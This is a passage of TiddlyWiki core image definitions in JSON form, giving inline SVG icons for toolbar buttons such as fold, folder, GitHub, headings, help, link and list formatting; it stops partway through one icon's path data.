"$:/core/images/fold-button": {
"title": "$:/core/images/fold-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-fold tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"128\" height=\"16\" rx=\"8\"/><path d=\"M64.03 25.004c-2.05 0-4.102.78-5.667 2.344L35.746 49.966c-3.125 3.124-3.13 8.194-.005 11.318 3.118 3.118 8.192 3.122 11.319-.005l16.965-16.965 16.966 16.965c3.124 3.125 8.194 3.13 11.318.005 3.118-3.118 3.122-8.191-.005-11.318L69.687 27.348a7.986 7.986 0 00-5.663-2.346zM64.005 67.379c-2.05 0-4.102.78-5.666 2.344L35.722 92.34c-3.125 3.125-3.13 8.195-.006 11.32 3.118 3.117 8.192 3.121 11.32-.006L64 86.69l16.965 16.965c3.125 3.125 8.195 3.13 11.319.005 3.118-3.118 3.122-8.192-.005-11.319L69.663 69.723A7.986 7.986 0 0064 67.377z\"/></g></svg>"
},
"$:/core/images/fold-others-button": {
"title": "$:/core/images/fold-others-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-fold-others tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"128\" height=\"16\" y=\"56.031\" rx=\"8\"/><path d=\"M86.632 79.976c-2.05 0-4.102.78-5.666 2.345L64 99.286 47.034 82.321a7.986 7.986 0 00-5.662-2.346l.005.001c-2.05 0-4.102.78-5.666 2.345l-22.618 22.617c-3.124 3.125-3.129 8.195-.005 11.319 3.118 3.118 8.192 3.122 11.319-.005l16.966-16.966 16.965 16.966a7.986 7.986 0 005.663 2.346l-.005-.002c2.05 0 4.102-.78 5.666-2.344l16.965-16.966 16.966 16.966c3.125 3.124 8.194 3.129 11.319.005 3.118-3.118 3.122-8.192-.005-11.319L92.289 82.321a7.986 7.986 0 00-5.663-2.346zM86.7 48.024c-2.05 0-4.102-.78-5.666-2.345L64.07 28.714 47.103 45.679a7.986 7.986 0 01-5.663 2.346l.005-.001c-2.05 0-4.101-.78-5.666-2.345L13.162 23.062c-3.125-3.125-3.13-8.195-.005-11.319 3.118-3.118 8.192-3.122 11.319.005L41.44 28.714l16.966-16.966a7.986 7.986 0 015.662-2.346l-.005.002c2.05 0 4.102.78 5.666 2.344l16.966 16.966 16.966-16.966c3.124-3.124 8.194-3.129 11.318-.005 3.118 3.118 3.122 8.192-.005 11.319L92.358 45.679a7.986 7.986 0 01-5.663 2.346z\"/></g></svg>"
},
"$:/core/images/folder": {
"title": "$:/core/images/folder",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-folder tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M55.694 128H8C3.58 128 0 124.414 0 119.996V48.004C0 43.584 3.584 40 7.999 40H16v-8c0-4.418 3.578-8 8-8h32a8 8 0 018 8v8h40.001c4.418 0 7.999 3.586 7.999 8.004V59.83l-8-.082v-7.749A4 4 0 0099.997 48H56V36c0-2.21-1.793-4-4.004-4H28.004A4 4 0 0024 36v12H12.003A4 4 0 008 52v64a4 4 0 004.003 4h46.76l-3.069 8z\"/><path d=\"M23.873 55.5h96.003c4.417 0 7.004 4.053 5.774 9.063l-13.344 54.374c-1.228 5.005-5.808 9.063-10.223 9.063H6.08c-4.417 0-7.003-4.053-5.774-9.063L13.65 64.563c1.228-5.005 5.808-9.063 10.223-9.063zm1.78 8.5h87.994c2.211 0 3.504 2.093 2.891 4.666l-11.12 46.668c-.614 2.577-2.902 4.666-5.115 4.666H12.31c-2.211 0-3.504-2.093-2.891-4.666l11.12-46.668C21.152 66.09 23.44 64 25.653 64z\"/></g></svg>"
},
"$:/core/images/full-screen-button": {
"title": "$:/core/images/full-screen-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-full-screen-button tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M0 8a8 8 0 018-8h32a8 8 0 110 16H16v24a8 8 0 11-16 0V8zM128 120a8 8 0 01-8 8H88a8 8 0 110-16h24V88a8 8 0 1116 0v32zM8 128a8 8 0 01-8-8V88a8 8 0 1116 0v24h24a8 8 0 110 16H8zM120 0a8 8 0 018 8v32a8 8 0 11-16 0V16H88a8 8 0 110-16h32z\"/></svg>"
},
"$:/core/images/github": {
"title": "$:/core/images/github",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-github tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M63.938 1.607c-35.336 0-63.994 28.69-63.994 64.084 0 28.312 18.336 52.329 43.768 60.802 3.202.59 4.37-1.388 4.37-3.088 0-1.518-.056-5.55-.087-10.897-17.802 3.871-21.558-8.591-21.558-8.591-2.911-7.404-7.108-9.375-7.108-9.375-5.81-3.973.44-3.895.44-3.895 6.424.453 9.803 6.606 9.803 6.606 5.709 9.791 14.981 6.963 18.627 5.322.582-4.138 2.236-6.963 4.063-8.564-14.211-1.617-29.153-7.117-29.153-31.672 0-6.995 2.495-12.718 6.589-17.195-.66-1.621-2.856-8.14.629-16.96 0 0 5.37-1.722 17.597 6.57 5.104-1.424 10.58-2.132 16.022-2.16 5.438.028 10.91.736 16.022 2.16 12.22-8.292 17.582-6.57 17.582-6.57 3.493 8.82 1.297 15.339.64 16.96 4.102 4.477 6.578 10.2 6.578 17.195 0 24.618-14.966 30.035-29.22 31.62 2.295 1.98 4.342 5.89 4.342 11.87 0 8.564-.079 15.476-.079 17.576 0 1.715 1.155 3.71 4.4 3.084 25.413-8.493 43.733-32.494 43.733-60.798 0-35.394-28.657-64.084-64.006-64.084\"/></svg>"
},
"$:/core/images/gitter": {
"title": "$:/core/images/gitter",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-gitter tc-image-button\" viewBox=\"0 0 18 25\"><path d=\"M15 5h2v10h-2zM10 5h2v20h-2zM5 5h2v20H5zM0 0h2v15H0z\"/></svg>"
},
"$:/core/images/globe": {
"title": "$:/core/images/globe",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-globe tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M72.811 37.128v2.554c0 2.196.978 6.881 0 8.832-1.466 2.928-4.65 3.54-6.394 5.867-1.182 1.577-4.618 10.601-3.69 12.92 3.969 9.922 11.534 3.187 17.962 9.293.864.821 2.887 2.273 3.296 3.296 3.29 8.223-7.576 15.009 3.757 26.3 1.245 1.24 3.813-3.817 4.079-4.614.852-2.563 6.725-5.45 9.088-7.053 2.02-1.37 4.873-2.667 6.328-4.745 2.27-3.244 1.48-7.514 3.098-10.745 2.139-4.274 3.828-9.635 5.998-13.966 3.898-7.781 4.721 2.093 5.067 2.439.358.357 1.011 0 1.517 0 .094 0 1.447.099 1.516 0 .65-.935-1.043-17.92-1.318-19.297-1.404-7.01-6.944-15.781-11.865-20.5-6.274-6.015-7.09-16.197-18.259-14.954-.204.022-5.084 10.148-7.777 13.512-3.728 4.657-2.47-4.153-6.526-4.153-.081 0-1.183-.103-1.253 0-.586.88-1.44 3.896-2.306 4.417-.265.16-1.722-.239-1.846 0-2.243 4.3 8.256 2.212 5.792 7.952-2.352 5.481-6.328-1.997-6.328 8.56M44.467 7.01c9.685 6.13.682 12.198 2.694 16.215 1.655 3.303 4.241 5.395 1.714 9.814-2.063 3.608-6.87 3.966-9.623 6.723-3.04 3.044-5.464 8.94-6.79 12.911-1.617 4.843 14.547 6.866 12.063 11.008-1.386 2.311-6.746 1.466-8.437.198-1.165-.873-3.593-.546-4.417-1.78-2.613-3.915-2.26-8.023-3.625-12.128-.938-2.822-6.313-2.12-7.844-.593-.523.522-.33 1.792-.33 2.505 0 5.285 7.12 3.316 7.12 6.46 0 14.636 3.927 6.534 11.14 11.336 10.036 6.683 7.844 7.303 14.946 14.404 3.673 3.673 7.741 3.686 9.425 9.294 1.602 5.331-9.327 5.339-11.716 7.448-1.123.991-2.813 4.146-4.219 4.615-1.792.598-3.234.496-4.944 1.78-2.427 1.82-3.9 4.932-4.02 4.81-2.148-2.147-3.52-15.479-3.89-18.257-.588-4.42-5.59-5.54-6.986-9.03-1.57-3.927 1.524-9.52-1.129-13.761-6.52-10.424-11.821-14.5-15.35-26.292-.942-3.148 3.342-6.529 4.877-8.833 1.877-2.816 2.662-5.854 4.746-8.635C22.147 24.19 40.855 9.461 43.857 8.635l.61-1.625z\"/><path d=\"M64 126c34.242 0 62-27.758 62-62 0-34.242-27.758-62-62-62C29.758 2 2 29.758 2 64c0 34.242 27.758 62 62 62zm0-6c30.928 0 56-25.072 56-56S94.928 8 64 8 8 33.072 8 64s25.072 56 56 56z\"/></g></svg>"
},
"$:/core/images/heading-1": {
"title": "$:/core/images/heading-1",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-heading-1 tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M14 30h13.25v30.104H61.7V30h13.25v75.684H61.7V71.552H27.25v34.132H14V30zm70.335 13.78c2.544 0 5.017-.212 7.42-.636 2.403-.424 4.576-1.13 6.52-2.12 1.942-.99 3.603-2.261 4.981-3.816 1.378-1.555 2.28-3.463 2.703-5.724h9.858v74.2h-13.25V53.32H84.335v-9.54z\"/></svg>"
},
"$:/core/images/heading-2": {
"title": "$:/core/images/heading-2",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-heading-2 tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M6 30h13.25v30.104H53.7V30h13.25v75.684H53.7V71.552H19.25v34.132H6V30zm119.52 75.684H74.85c.07-6.148 1.555-11.519 4.452-16.112 2.897-4.593 6.855-8.586 11.872-11.978a133.725 133.725 0 017.526-5.141 59.6 59.6 0 007.208-5.353c2.19-1.908 3.993-3.975 5.406-6.201 1.413-2.226 2.155-4.788 2.226-7.685 0-1.343-.159-2.774-.477-4.293a11.357 11.357 0 00-1.855-4.24c-.919-1.307-2.19-2.403-3.816-3.286-1.625-.883-3.745-1.325-6.36-1.325-2.403 0-4.399.477-5.989 1.431-1.59.954-2.862 2.261-3.816 3.922-.954 1.66-1.66 3.622-2.12 5.883-.46 2.261-.724 4.7-.795 7.314H76.23c0-4.099.548-7.897 1.643-11.395 1.095-3.498 2.738-6.519 4.93-9.063 2.19-2.544 4.857-4.54 8.002-5.989C93.95 30.724 97.606 30 101.775 30c4.523 0 8.303.742 11.342 2.226 3.039 1.484 5.494 3.357 7.367 5.618 1.873 2.261 3.198 4.717 3.975 7.367.777 2.65 1.166 5.176 1.166 7.579 0 2.968-.46 5.653-1.378 8.056a25.942 25.942 0 01-3.71 6.625 37.5 37.5 0 01-5.3 5.565 79.468 79.468 0 01-6.148 4.77 165.627 165.627 0 01-6.36 4.24 94.28 94.28 0 00-5.883 4.028c-1.802 1.343-3.374 2.738-4.717 4.187-1.343 1.449-2.261 2.986-2.756 4.611h36.146v10.812z\"/></svg>"
},
"$:/core/images/heading-3": {
"title": "$:/core/images/heading-3",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-heading-3 tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M6 30h13.25v30.104H53.7V30h13.25v75.684H53.7V71.552H19.25v34.132H6V30zm88.885 32.224c1.979.07 3.957-.07 5.936-.424 1.979-.353 3.745-.972 5.3-1.855a10.365 10.365 0 003.763-3.657c.954-1.555 1.431-3.463 1.431-5.724 0-3.18-1.078-5.724-3.233-7.632-2.155-1.908-4.929-2.862-8.32-2.862-2.12 0-3.958.424-5.513 1.272a11.318 11.318 0 00-3.869 3.445c-1.025 1.449-1.784 3.074-2.279 4.876a18.335 18.335 0 00-.636 5.565H75.381c.141-3.604.813-6.943 2.014-10.017 1.201-3.074 2.844-5.742 4.93-8.003 2.084-2.261 4.61-4.028 7.578-5.3C92.871 30.636 96.228 30 99.973 30a29.2 29.2 0 018.533 1.272c2.791.848 5.3 2.085 7.526 3.71s4.01 3.692 5.353 6.201c1.343 2.509 2.014 5.388 2.014 8.639 0 3.745-.848 7.014-2.544 9.805-1.696 2.791-4.346 4.823-7.95 6.095v.212c4.24.848 7.544 2.95 9.911 6.307s3.551 7.438 3.551 12.243c0 3.533-.707 6.696-2.12 9.487a21.538 21.538 0 01-5.724 7.102c-2.403 1.943-5.194 3.445-8.374 4.505-3.18 1.06-6.537 1.59-10.07 1.59-4.31 0-8.074-.618-11.289-1.855s-5.9-2.986-8.056-5.247c-2.155-2.261-3.798-4.982-4.929-8.162-1.13-3.18-1.731-6.713-1.802-10.6h12.084c-.141 4.523.972 8.286 3.34 11.289 2.366 3.003 5.917 4.505 10.652 4.505 4.028 0 7.402-1.148 10.123-3.445 2.72-2.297 4.081-5.565 4.081-9.805 0-2.897-.565-5.194-1.696-6.89a10.97 10.97 0 00-4.452-3.869c-1.837-.883-3.904-1.431-6.2-1.643a58.067 58.067 0 00-7.05-.212v-9.01z\"/></svg>"
},
"$:/core/images/heading-4": {
"title": "$:/core/images/heading-4",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-heading-4 tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M8 30h13.25v30.104H55.7V30h13.25v75.684H55.7V71.552H21.25v34.132H8V30zm76.59 48.548h22.471V45.9h-.212L84.59 78.548zm43.46 9.54h-9.54v17.596H107.06V88.088h-31.8V76.11l31.8-44.626h11.448v47.064h9.54v9.54z\"/></svg>"
},
"$:/core/images/heading-5": {
"title": "$:/core/images/heading-5",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-heading-5 tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M6 30h13.25v30.104H53.7V30h13.25v75.684H53.7V71.552H19.25v34.132H6V30zm77.755 1.484h38.372v10.812H92.765L88.95 61.164l.212.212c1.625-1.837 3.692-3.233 6.201-4.187 2.509-.954 5-1.431 7.473-1.431 3.675 0 6.96.618 9.858 1.855 2.897 1.237 5.335 2.968 7.314 5.194s3.48 4.858 4.505 7.897c1.025 3.039 1.537 6.325 1.537 9.858 0 2.968-.477 6.024-1.43 9.169a25.161 25.161 0 01-4.559 8.586c-2.085 2.58-4.752 4.7-8.003 6.36-3.25 1.66-7.137 2.491-11.66 2.491-3.604 0-6.943-.477-10.017-1.431-3.074-.954-5.777-2.385-8.109-4.293-2.332-1.908-4.187-4.258-5.565-7.049-1.378-2.791-2.138-6.06-2.279-9.805h12.084c.353 4.028 1.731 7.12 4.134 9.275 2.403 2.155 5.583 3.233 9.54 3.233 2.544 0 4.7-.424 6.466-1.272 1.767-.848 3.198-2.014 4.293-3.498 1.095-1.484 1.873-3.215 2.332-5.194.46-1.979.69-4.099.69-6.36 0-2.05-.284-4.01-.849-5.883-.565-1.873-1.413-3.516-2.544-4.929-1.13-1.413-2.597-2.544-4.399-3.392-1.802-.848-3.904-1.272-6.307-1.272-2.544 0-4.929.477-7.155 1.431-2.226.954-3.834 2.738-4.823 5.353H75.805l7.95-40.598z\"/></svg>"
},
"$:/core/images/heading-6": {
"title": "$:/core/images/heading-6",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-heading-6 tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M6 30h13.25v30.104H53.7V30h13.25v75.684H53.7V71.552H19.25v34.132H6V30zm106.587 20.246c-.283-3.039-1.36-5.494-3.233-7.367-1.873-1.873-4.399-2.809-7.579-2.809-2.19 0-4.08.406-5.67 1.219a12.435 12.435 0 00-4.029 3.233c-1.095 1.343-1.979 2.88-2.65 4.611a37.696 37.696 0 00-1.643 5.459 46.08 46.08 0 00-.9 5.671 722.213 722.213 0 00-.478 5.247l.212.212c1.625-2.968 3.87-5.176 6.731-6.625 2.862-1.449 5.954-2.173 9.275-2.173 3.675 0 6.96.636 9.858 1.908 2.897 1.272 5.353 3.021 7.367 5.247 2.014 2.226 3.551 4.858 4.611 7.897 1.06 3.039 1.59 6.325 1.59 9.858 0 3.604-.583 6.943-1.749 10.017-1.166 3.074-2.844 5.76-5.035 8.056-2.19 2.297-4.805 4.081-7.844 5.353-3.039 1.272-6.395 1.908-10.07 1.908-5.441 0-9.91-1.007-13.409-3.021-3.498-2.014-6.254-4.77-8.268-8.268-2.014-3.498-3.41-7.597-4.187-12.296-.777-4.7-1.166-9.77-1.166-15.211 0-4.452.477-8.94 1.431-13.462.954-4.523 2.526-8.639 4.717-12.349 2.19-3.71 5.07-6.731 8.64-9.063C92.676 31.166 97.075 30 102.304 30c2.968 0 5.76.495 8.374 1.484 2.615.99 4.93 2.367 6.943 4.134 2.014 1.767 3.657 3.887 4.93 6.36 1.271 2.473 1.978 5.23 2.12 8.268h-12.085zm-11.66 46.852c2.19 0 4.099-.442 5.724-1.325a12.869 12.869 0 004.081-3.445c1.095-1.413 1.908-3.056 2.438-4.929.53-1.873.795-3.798.795-5.777s-.265-3.887-.795-5.724c-.53-1.837-1.343-3.445-2.438-4.823-1.095-1.378-2.456-2.491-4.08-3.339-1.626-.848-3.534-1.272-5.725-1.272-2.19 0-4.116.406-5.777 1.219-1.66.813-3.056 1.908-4.187 3.286-1.13 1.378-1.979 2.986-2.544 4.823-.565 1.837-.848 3.78-.848 5.83 0 2.05.283 3.993.848 5.83.565 1.837 1.413 3.48 2.544 4.929a12.39 12.39 0 004.187 3.445c1.66.848 3.586 1.272 5.777 1.272z\"/></svg>"
},
"$:/core/images/help": {
"title": "$:/core/images/help",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-help tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M36.055 111.441c-5.24 4.396-15.168 7.362-26.555 7.362-1.635 0-3.24-.06-4.806-.179 7.919-2.64 14.062-8.6 16.367-16.014C8.747 92.845 1.05 78.936 1.05 63.5c0-29.547 28.206-53.5 63-53.5s63 23.953 63 53.5-28.206 53.5-63 53.5c-10.055 0-19.56-2-27.994-5.559zm35.35-33.843a536.471 536.471 0 00.018-4.682 199.02 199.02 0 00-.023-3.042c.008-1.357.595-2.087 3.727-4.235.112-.077 1.085-.74 1.386-.948 3.093-2.133 5.022-3.786 6.762-6.187 2.34-3.228 3.558-7.077 3.558-11.649 0-13.292-9.86-21.952-21.455-21.952-11.103 0-22.499 9.609-24.066 22.295a6.023 6.023 0 1011.956 1.477c.806-6.527 6.972-11.726 12.11-11.726 5.265 0 9.408 3.64 9.408 9.906 0 3.634-1.1 5.153-5.111 7.919l-1.362.93c-2.682 1.84-4.227 3.1-5.7 4.931-2.109 2.62-3.242 5.717-3.258 9.314.013.892.02 1.86.022 2.981a470.766 470.766 0 01-.022 4.943 6.023 6.023 0 1012.046.12l.003-.395zm-6.027 24.499a7.529 7.529 0 100-15.058 7.529 7.529 0 000 15.058z\"/></svg>"
},
"$:/core/images/home-button": {
"title": "$:/core/images/home-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-home-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M112.985 119.502c.01-.165.015-.331.015-.499V67.568c3.137 2.948 8.076 2.884 11.134-.174a7.999 7.999 0 00-.002-11.316L70.396 2.343A7.978 7.978 0 0064.734 0a7.957 7.957 0 00-5.656 2.343L33 28.42V8.007C33 3.585 29.41 0 25 0c-4.418 0-8 3.59-8 8.007V44.42L5.342 56.078c-3.125 3.125-3.12 8.198-.002 11.316a7.999 7.999 0 0011.316-.003l.344-.343v52.945a8.11 8.11 0 000 .007c0 4.418 3.588 8 8 8h80c4.419 0 8-3.59 8-8a8.11 8.11 0 00-.015-.498zM97 112V51.574L64.737 19.31 33 51.048V112h64z\"/></svg>"
},
"$:/core/images/import-button": {
"title": "$:/core/images/import-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-import-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M114.832 60.436s3.235-3.27 6.921.417c3.686 3.686.231 7.14.231 7.14l-42.153 42.92s-30.765 32.367-58.798 4.333C-7 87.213 24.59 55.623 24.59 55.623L67.363 12.85s22.725-24.6 43.587-3.738c20.862 20.862-3.96 43.09-3.96 43.09l-35.04 35.04S49.903 112.546 36.426 99.07c-13.476-13.477 11.83-35.523 11.83-35.523l35.04-35.04s3.902-3.902 7.78-.023c3.879 3.878.118 7.921.118 7.921l-35.04 35.04s-13.212 13.212-8.872 17.551c4.34 4.34 16.77-9.653 16.77-9.653l35.04-35.04s16.668-14.598 3.966-27.3c-13.893-13.892-27.565 3.702-27.565 3.702l-42.91 42.91s-23.698 23.698-3.658 43.738 43.012-4.385 43.012-4.385l42.895-42.533z\"/></svg>"
},
"$:/core/images/info-button": {
"title": "$:/core/images/info-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-info-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\" transform=\"translate(.05)\"><path d=\"M64 128c35.346 0 64-28.654 64-64 0-35.346-28.654-64-64-64C28.654 0 0 28.654 0 64c0 35.346 28.654 64 64 64zm0-16c26.51 0 48-21.49 48-48S90.51 16 64 16 16 37.49 16 64s21.49 48 48 48z\"/><circle cx=\"64\" cy=\"32\" r=\"8\"/><rect width=\"16\" height=\"56\" x=\"56\" y=\"48\" rx=\"8\"/></g></svg>"
},
"$:/core/images/italic": {
"title": "$:/core/images/italic",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-italic tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M66.711 0h22.41L62.408 128H40z\"/></svg>"
},
"$:/core/images/left-arrow": {
"title": "$:/core/images/left-arrow",
"created": "20150315234410875",
"modified": "20150315235324760",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-left-arrow tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M0 64.177c0-2.026.771-4.054 2.317-5.6l55.98-55.98a7.92 7.92 0 0111.195.001c3.086 3.085 3.092 8.104.001 11.195L19.111 64.175l50.382 50.382a7.92 7.92 0 010 11.195c-3.086 3.086-8.105 3.092-11.196.001l-55.98-55.98A7.892 7.892 0 010 64.177z\"/></svg>"
},
"$:/core/images/line-width": {
"title": "$:/core/images/line-width",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-line-width tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M16 18h96a2 2 0 000-4H16a2 2 0 100 4zm0 17h96a4 4 0 100-8H16a4 4 0 100 8zm0 21h96a6 6 0 000-12H16a6 6 0 100 12zm0 29h96c5.523 0 10-4.477 10-10s-4.477-10-10-10H16c-5.523 0-10 4.477-10 10s4.477 10 10 10zm0 43h96c8.837 0 16-7.163 16-16s-7.163-16-16-16H16c-8.837 0-16 7.163-16 16s7.163 16 16 16z\"/></svg>"
},
"$:/core/images/link": {
"title": "$:/core/images/link",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-link tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M42.263 69.38a31.919 31.919 0 006.841 10.13c12.5 12.5 32.758 12.496 45.255 0l22.627-22.628c12.502-12.501 12.497-32.758 0-45.255-12.5-12.5-32.758-12.496-45.254 0L49.104 34.255a32.333 32.333 0 00-2.666 3.019 36.156 36.156 0 0121.94.334l14.663-14.663c6.25-6.25 16.382-6.254 22.632-.004 6.248 6.249 6.254 16.373-.004 22.631l-22.62 22.62c-6.25 6.25-16.381 6.254-22.631.004a15.93 15.93 0 01-4.428-8.433 11.948 11.948 0 00-7.59 3.48l-6.137 6.137z\"/><path d=\"M86.35 59.234a31.919 31.919 0 00-6.84-10.13c-12.5-12.5-32.758-12.497-45.255 0L11.627 71.732c-12.501 12.5-12.496 32.758 0 45.254 12.5 12.5 32.758 12.497 45.255 0L79.51 94.36a32.333 32.333 0 002.665-3.02 36.156 36.156 0 01-21.94-.333l-14.663 14.663c-6.25 6.25-16.381 6.253-22.63.004-6.25-6.249-6.255-16.374.003-22.632l22.62-22.62c6.25-6.25 16.381-6.253 22.631-.003a15.93 15.93 0 014.428 8.432 11.948 11.948 0 007.59-3.48l6.137-6.136z\"/></g></svg>"
},
"$:/core/images/linkify": {
"title": "$:/core/images/linkify",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-linkify-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M17.031 31.919H9.048V96.85h7.983v6.92H0V25h17.031v6.919zm24.66 0h-7.983V96.85h7.983v6.92H24.66V25h17.03v6.919zM67.77 56.422l11.975-3.903 2.306 7.096-12.063 3.903 7.628 10.379-6.12 4.435-7.63-10.467-7.45 10.2-5.943-4.523L58.1 63.518 45.95 59.35l2.306-7.096 12.064 4.17V43.825h7.45v12.596zM86.31 96.85h7.982V31.92H86.31V25h17.031v78.77H86.31v-6.92zm24.659 0h7.983V31.92h-7.983V25H128v78.77h-17.031v-6.92z\"/></svg>"
},
"$:/core/images/list-bullet": {
"title": "$:/core/images/list-bullet",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-list-bullet tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M11.636 40.273c6.427 0 11.637-5.21 11.637-11.637C23.273 22.21 18.063 17 11.636 17 5.21 17 0 22.21 0 28.636c0 6.427 5.21 11.637 11.636 11.637zm0 34.909c6.427 0 11.637-5.21 11.637-11.637 0-6.426-5.21-11.636-11.637-11.636C5.21 51.91 0 57.12 0 63.545c0 6.427 5.21 11.637 11.636 11.637zm0 34.909c6.427 0 11.637-5.21 11.637-11.636 0-6.427-5.21-11.637-11.637-11.637C5.21 86.818 0 92.028 0 98.455c0 6.426 5.21 11.636 11.636 11.636zM34.91 22.818H128v11.637H34.91V22.818zm0 34.91H128v11.636H34.91V57.727zm0 34.908H128v11.637H34.91V92.636z\"/></svg>"
},
"$:/core/images/list-number": {
"title": "$:/core/images/list-number",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-list-number tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M33.84 22.356H128v11.77H33.84v-11.77zm0 35.31H128v11.77H33.84v-11.77zm0 35.311H128v11.77H33.84v-11.77zM.38 42.631v-2.223h.998c.826 0 1.445-.14 1.858-.42.413-.28.619-.948.619-2.002V22.769c0-1.442-.193-2.336-.58-2.683-.385-.347-1.477-.52-3.275-.52v-2.143c3.502-.147 6.252-.955 8.25-2.423h2.117v22.865c0 .921.15 1.575.449 1.963.3.387.949.58 1.948.58h.998v2.223H.38zm-.3 35.356v-1.902c7.19-6.554 10.786-12.58 10.786-18.08 0-1.562-.326-2.81-.979-3.744-.652-.934-1.524-1.402-2.616-1.402-.893 0-1.655.317-2.287.952-.633.634-.95 1.364-.95 2.192 0 .974.247 1.829.74 2.563.106.16.16.28.16.36 0 .147-.16.28-.48.4-.213.08-.752.308-1.618.681-.839.374-1.358.561-1.558.561-.24 0-.512-.37-.819-1.111A6.2 6.2 0 010 57.064c0-1.949.849-3.544 2.547-4.785 1.698-1.242 3.798-1.862 6.302-1.862 2.463 0 4.53.67 6.202 2.012 1.67 1.341 2.506 3.093 2.506 5.256a8.644 8.644 0 01-.849 3.724c-.566 1.201-1.92 3.053-4.064 5.556a165.471 165.471 0 01-6.272 6.938h11.445l-1.019 5.726h-2.117c.08-.28.12-.534.12-.76 0-.388-.1-.631-.3-.731-.2-.1-.599-.15-1.198-.15H.08zm12.124 19.207c1.745.04 3.236.637 4.474 1.792 1.239 1.154 1.858 2.773 1.858 4.855 0 2.99-1.132 5.393-3.396 7.208-2.263 1.815-5 2.723-8.209 2.723-2.01 0-3.669-.384-4.974-1.151C.652 111.853 0 110.849 0 109.607c0-.774.27-1.398.809-1.872.54-.474 1.128-.71 1.768-.71.639 0 1.162.2 1.568.6.406.4.782 1.055 1.128 1.962.466 1.268 1.239 1.902 2.317 1.902 1.265 0 2.287-.477 3.066-1.431.78-.955 1.169-2.686 1.169-5.196 0-1.709-.12-3.023-.36-3.944-.24-.921-.792-1.382-1.658-1.382-.586 0-1.185.307-1.797.921-.493.494-.932.741-1.319.741-.333 0-.602-.147-.809-.44-.206-.294-.31-.574-.31-.841 0-.32.104-.594.31-.821.207-.227.69-.594 1.449-1.102 2.876-1.922 4.314-4.017 4.314-6.287 0-1.188-.306-2.092-.919-2.713a3.001 3.001 0 00-2.217-.93c-.799 0-1.525.263-2.177.79-.653.528-.979 1.158-.979 1.892 0 .641.253 1.235.76 1.782.172.2.259.367.259.5 0 .121-.57.428-1.708.922-1.139.494-1.854.74-2.147.74-.413 0-.75-.333-1.009-1-.26-.668-.39-1.282-.39-1.842 0-1.749.93-3.224 2.787-4.425 1.858-1.202 3.965-1.802 6.322-1.802 2.064 0 3.851.447 5.363 1.341 1.511.895 2.267 2.116 2.267 3.664 0 1.362-.57 2.623-1.708 3.784a13.387 13.387 0 